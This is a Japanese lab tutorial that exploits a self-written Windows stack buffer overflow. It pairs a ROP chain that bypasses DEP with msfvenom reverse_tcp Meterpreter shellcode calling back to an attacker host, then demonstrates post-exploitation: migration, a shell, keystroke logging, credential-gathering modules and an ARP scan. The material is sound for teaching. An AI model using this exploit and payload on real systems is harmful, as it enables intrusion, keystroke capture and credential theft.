Windowsでスタックバッファオーバーフロー脆弱性からMeterpreterに接続してみる
主にWindows環境に対して使われる高機能なリモート操作コンソールとして、Meterpreterと呼ばれるものがある。 ここでは、Metasploit Frameworkを使いMeterpreter用のシェルコードを生成してみる。 さらに、スタックバッファオーバーフロー脆弱性を利用してこのシェルコードを実行し、Meterpreterコンソールに接続してみる。
Metasploit FrameworkはどのようなLinux環境でも動作するが、ここではKali Linuxと呼ばれるペネトレーションテスト用ディストリビューションを利用する。 Kali LinuxにはMetasploitを含むさまざまなセキュリティツールが標準でインストールされており、インストール作業を省略することができる。
環境
Windows 8.1 Pro 64 bit版、Visual Studio Community 2013 with Update 4、msvcr71.dllインストール済
>systeminfo OS 名: Microsoft Windows 8.1 Pro OS バージョン: 6.3.9600 N/A ビルド 9600 OS ビルドの種類: Multiprocessor Free システムの種類: x64-based PC プロセッサ: 1 プロセッサインストール済みです。 [01]: Intel64 Family 6 Model 69 Stepping 1 GenuineIntel ~758 Mhz >cl Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86 >powershell -c "(dir C:\Windows\SysWOW64\msvcr71.dll).VersionInfo.FileVersion" 7.10.3052.4
Kali Linux 1.1.0a 64 bit版、Metasploit Framework 4.11.3
root@vm-kali64:~# uname -a Linux vm-kali64 3.18.0-kali3-amd64 #1 SMP Debian 3.18.6-1~kali2 (2015-03-02) x86_64 GNU/Linux root@vm-kali64:~# lsb_release -a No LSB modules are available. Distributor ID: Kali Description: Kali GNU/Linux 1.1.0 Release: 1.1.0 Codename: moto root@vm-kali64:~# msfconsole -v Framework Version: 4.11.3-2015063001
脆弱性のあるプログラムを書いてみる
脆弱性のあるプログラムおよびエクスプロイトコードは、「Windowsでnon-ASLR DLLを利用したROPによるDEP回避をやってみる」と同じものを用いることにする。
/* bof.c */ #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <winsock2.h> #include <ws2tcpip.h> #include <stdio.h> #pragma comment(lib, "ws2_32.lib") void bof(SOCKET c) { char buf[400]; printf("[+] buf = %p\n", buf); recv(c, buf, 1024, 0); } int main() { WSADATA wsaData; SOCKET s, c; SOCKADDR_IN name; BOOL yes = 1; WSAStartup(MAKEWORD(2, 2), &wsaData); s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0); setsockopt(s, SOL_SOCKET, SO_REUSEADDR, (const char *)&yes, sizeof(yes)); name.sin_family = AF_INET; name.sin_addr.s_addr = INADDR_ANY; name.sin_port = htons(4444); bind(s, (SOCKADDR *)&name, sizeof(name)); listen(s, 5); puts("[+] listening on 0.0.0.0 port 4444"); c = accept(s, NULL, NULL); closesocket(s); puts("[+] connection accepted"); bof(c); closesocket(c); ExitProcess(0); }
コンパイルし、実行ファイルを生成する。
>cl bof.c /GS- /link /dynamicbase:no
Meterpreterシェルコードを生成してみる
まず、msfvenomコマンドを使ってMeterpreter用のシェルコードを生成してみる。 オプションの一覧やペイロード名の一覧を表示させるには、次のようにする。
root@vm-kali64:~# msfvenom No options MsfVenom - a Metasploit standalone payload generator. Also a replacement for msfpayload and msfencode. Usage: /opt/metasploit/apps/pro/msf3/msfvenom [options] <var=val> Options: -p, --payload <payload> Payload to use. Specify a '-' or stdin to use custom payloads --payload-options List the payload's standard options -l, --list [type] List a module type. Options are: payloads, encoders, nops, all -n, --nopsled <length> Prepend a nopsled of [length] size on to the payload -f, --format <format> Output format (use --help-formats for a list) --help-formats List available formats -e, --encoder <encoder> The encoder to use -a, --arch <arch> The architecture to use --platform <platform> The platform of the payload -s, --space <length> The maximum size of the resulting payload --encoder-space <length> The maximum size of the encoded payload (defaults to the -s value) -b, --bad-chars <list> The list of characters to avoid example: '\x00\xff' -i, --iterations <count> The number of times to encode the payload -c, --add-code <path> Specify an additional win32 shellcode file to include -x, --template <path> Specify a custom executable file to use as a template -k, --keep Preserve the template behavior and inject the payload as a new thread -o, --out <path> Save the payload -v, --var-name <name> Specify a custom variable name to use for certain output formats --smallest Generate the smallest possible payload -h, --help Show this message root@vm-kali64:~# msfvenom -l Framework Payloads (428 total) ============================== Name Description ---- ----------- aix/ppc/shell_bind_tcp Listen for a connection and spawn a command shell aix/ppc/shell_find_port Spawn a shell on an established connection
Windows用のmeterpreterシェルコードを探すには、これらの文字列が含まれるペイロードを調べればよい。
nonx
、ord
がつくものの違いについては、次のページに説明がある。
windows/meterpreter/reverse_tcp
を用いてconnect back型のシェルコードをPython形式で生成してみる。
root@vm-kali64:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.4 LPORT=4444 -f python No platform was selected, choosing Msf::Module::Platform::Windows from the payload No Arch selected, selecting Arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 299 bytes buf = "" buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b" buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7" buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf" buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c" buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01" buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31" buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d" buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66" buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0" buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f" buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68" buf += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8" buf += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00" buf += "\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f" buf += "\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x38\x04\x68" buf += "\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5" buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec" buf += "\xe8\x3f\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02" buf += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xe9\x8b\x36\x6a" buf += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53" buf += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9" buf += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xc3\x01\xc3\x29\xc6" buf += "\x75\xe9\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"
LHOST、LPORTパラメータにはターゲットとなるWindowsマシンから見た接続先を指定する。
接頭辞にLがついているのは、コンソールを動かす攻撃者から見たときこれらはローカルホストとなるためである。
また、ここでは指定しないが-b "\x00\x0d\x0a"
のようにオプションを指定することでNUL文字および改行文字が含まれないようにシェルコードをエンコードすることもできる。
エクスプロイトコードを書いてみる
エクスプロイトコード中のシェルコードに上で生成したシェルコードを入れると、次のようになる。
# exploit.py import socket import struct addr_buf = 0x0018FBF0 addr_pop_ecx = 0x004011e2 # 0x004011e2: pop ecx ; ret ; (30 found) addr_jmp_ptr_ecx = 0x004056c1 # 0x004056c1: jmp dword [ecx] ; (2 found) addr_ret = 0x00401038 # 0x00401038: ret ; (416 found) iat_loadlibraryexw = 0x0040d0cc # 0040d0cc 767ca720 KERNEL32!LoadLibraryExWStub iat_virtualprotect = 0x7c37a140 # 7c37a140 767c8ab0 KERNEL32!VirtualProtectStub [MSVCR71.dll] bufsize = 400 # msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.4 LPORT=4444 -f python buf = "" buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b" buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7" buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf" buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c" buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01" buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31" buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d" buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66" buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0" buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f" buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68" buf += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8" buf += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00" buf += "\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f" buf += "\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x38\x04\x68" buf += "\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5" buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec" buf += "\xe8\x3f\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02" buf += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xe9\x8b\x36\x6a" buf += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53" buf += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9" buf += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xc3\x01\xc3\x29\xc6" buf += "\x75\xe9\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5" shellcode = buf def wchar(s): return ''.join(c+'\x00' for c in s) buf = wchar('MSVCR71\x00') buf += 'A' * (bufsize-len(buf)) buf += 'AAAA' # saved ebp buf += struct.pack('<I', addr_pop_ecx) # retaddr buf += struct.pack('<I', iat_loadlibraryexw) buf += struct.pack('<I', addr_jmp_ptr_ecx) # jump to LoadLibraryExW() -> ret 0Ch buf += struct.pack('<I', addr_ret) buf += struct.pack('<I', addr_buf) # lpFileName buf += struct.pack('<I', 0) # hFile buf += struct.pack('<I', 0) # dwFlags buf += struct.pack('<I', addr_pop_ecx) buf += struct.pack('<I', iat_virtualprotect) buf += struct.pack('<I', addr_jmp_ptr_ecx) # jump to VirtualProtect() buf += struct.pack('<I', addr_buf+bufsize+4*16) buf += struct.pack('<I', addr_buf) # lpAddress buf += struct.pack('<I', 1024) # dwSize buf += struct.pack('<I', 0x40) # flNewProtect = PAGE_EXECUTE_READWRITE buf += struct.pack('<I', addr_buf) # lpflOldProtect buf += shellcode c = socket.create_connection(('127.0.0.1', 4444)) c.sendall(buf) c.close()
Meterpreterコンソールに接続してみる
まず、msfconsoleコマンドからMetasploitを起動し、接続を待ち受けるハンドラを動かす。
なお、-q
オプションを指定することで起動時にランダムに表示されるバナーを抑制することができる。
msf > use multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: , , seh, thread, process, none) LHOST yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target msf exploit(handler) > set LHOST 192.168.56.4 LHOST => 192.168.56.4 msf exploit(handler) > set LPORT 4444 LPORT => 4444 msf exploit(handler) > exploit [*] Started reverse handler on 192.168.56.4:4444 [*] Starting the payload handler...
LHOST、LPORTには、シェルコードを生成した際と同じものを指定する。
Windows上で脆弱なプログラムを起動し、エクスプロイトコードを実行してみる。
>bof.exe
$ python exploit.py
シェルコードが実行されると、Meterpreterコンソールに接続が行われ、コンソールにその内容が表示される。
[*] Sending stage (884270 bytes) to 192.168.56.1 [*] Meterpreter session 1 opened (192.168.56.4:4444 -> 192.168.56.1:56007) at 2015-07-13 00:04:26 +0900 meterpreter >
Meterpreterを使ってみる
Meterpreterの特長は次の通りである。
Meterpreterではシステム情報の収集やコマンドプロンプトの起動のみならず、キーロガー、スクリーンショット、Webカメラ起動、ファイル収集などさまざまな機能が実装されている。
まず最初に、バックグラウンドプロセスを起動してこのプロセスにMeterpreterを乗り移らせてみる(migrate)。
meterpreter > getpid Current pid: 6164 meterpreter > run post/windows/manage/migrate [*] Running module against TARGET-WIN8 [*] Current server process: bof.exe (6164) [*] Spawning notepad.exe process to migrate to [+] Migrating to 5956 [+] Successfully migrated to process 5956 meterpreter > getpid Current pid: 5956
migrateに成功すると、攻撃を受けたプロセスがクラッシュすることなく終了することがわかる。
次に、コマンドの一覧を表示してみる。
meterpreter > help Core Commands ============= Command Description ------- ----------- ? Help menu background Backgrounds the current session bgkill Kills a background meterpreter script ...
各種システム情報を取得してみる。
meterpreter > getuid Server username: target-win8\user meterpreter > sysinfo Computer : TARGET-WIN8 OS : Windows 8.1 (Build 9600). Architecture : x64 (Current Process is WOW64) System Language : ja_JP Domain : WORKGROUP Logged On Users : 2 Meterpreter : x86/win32 meterpreter > ps Process list ============ PID Name Arch Session User Path --- ---- ---- ------- ---- ---- 0 [System Process] 4 System (snip) meterpreter > ls Listing: C:\Users\user\Desktop\test =================================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100666/rw-rw-rw- 2211 fil 2015-04-09 22:35:50 +0900 Developer Command Prompt for VS2013.lnk 100666/rw-rw-rw- 898 fil 2015-07-12 23:46:57 +0900 bof.c (snip) meterpreter > ipconfig Interface 1 ============ Name : Software Loopback Interface 1 Hardware MAC : 00:00:00:00:00:00 MTU : 4294967295 IPv4 Address : 127.0.0.1 IPv4 Netmask : 255.0.0.0 IPv6 Address : ::1 IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff (snip)
コマンドプロンプトを起動するには、shellコマンドを使う。
meterpreter > shell Process 7008 created. Channel 1 created. Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. C:\Users\user\Desktop\test>whoami whoami target-win8\user C:\Users\user\Desktop\test>exit exit
キーロガーを動かしてみる。
meterpreter > keyscan_start Starting the keystroke sniffer... meterpreter > keyscan_dump Dumping captured keystrokes... <Return> <0xf4> typing a secret message ... <Return> <Up> <Up> <Return> meterpreter > keyscan_stop Stopping the keystroke sniffer...
backgroundコマンドを使うと、接続を維持したままMeterpreterコンソールから抜けることができる。 抜けたコンソールに再度入るには、Metasploit側のsessionsコマンドを使う。
meterpreter > background [*] Backgrounding session 1... msf exploit(handler) > sessions -l Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 1 meterpreter x86/win32 target-win8\user @ TARGET-WIN8 192.168.56.4:4444 -> 192.168.56.1:56007 (192.168.56.1) msf exploit(handler) > sessions -i 1 [*] Starting interaction with 1... meterpreter >
runコマンドからは、Metasploit本体のpostモジュールを使い機能を拡張することができる。
meterpreter > run [TAB][TAB] Display all 241 possibilities? (y or n) run arp_scanner run post/windows/gather/credentials/coreftp run post/windows/gather/lsa_secrets run autoroute run post/windows/gather/credentials/credential_collector run post/windows/gather/memory_grep run checkvm run post/windows/gather/credentials/domain_hashdump run post/windows/gather/outlook run credcollect run post/windows/gather/credentials/dyndns run post/windows/gather/phish_windows_credentials run domain_list_gen run post/windows/gather/credentials/enum_cred_store run post/windows/gather/resolve_sid run dumplinks run post/windows/gather/credentials/enum_picasa_pwds run post/windows/gather/reverse_lookup run duplicate run post/windows/gather/credentials/epo_sql run post/windows/gather/screen_spy run enum_chrome run post/windows/gather/credentials/filezilla_server run post/windows/gather/smart_hashdump (snip)
接続先のマシンでARP scanを行い、LAN内のホストを探索してみる。
meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.56.0/24 [*] Running module against TARGET-WIN8 [*] ARP Scanning 192.168.56.0/24 [*] IP: 192.168.56.4 MAC 08:00:27:35:7c:3b (CADMUS COMPUTER SYSTEMS) [*] IP: 192.168.56.1 MAC 08:00:27:00:94:d2 (CADMUS COMPUTER SYSTEMS) [Ctrl+C] [-] Post interrupted by the console user
Meterpreterコンソールを終了すると、接続が切断される。
meterpreter > exit [*] Shutting down Meterpreter... [*] 192.168.56.1 - Meterpreter session 1 closed. Reason: User exit msf exploit(handler) > exit
プロセスマネージャを確認すると、migrate時に起動されたnotepad.exeが終了していることがわかる。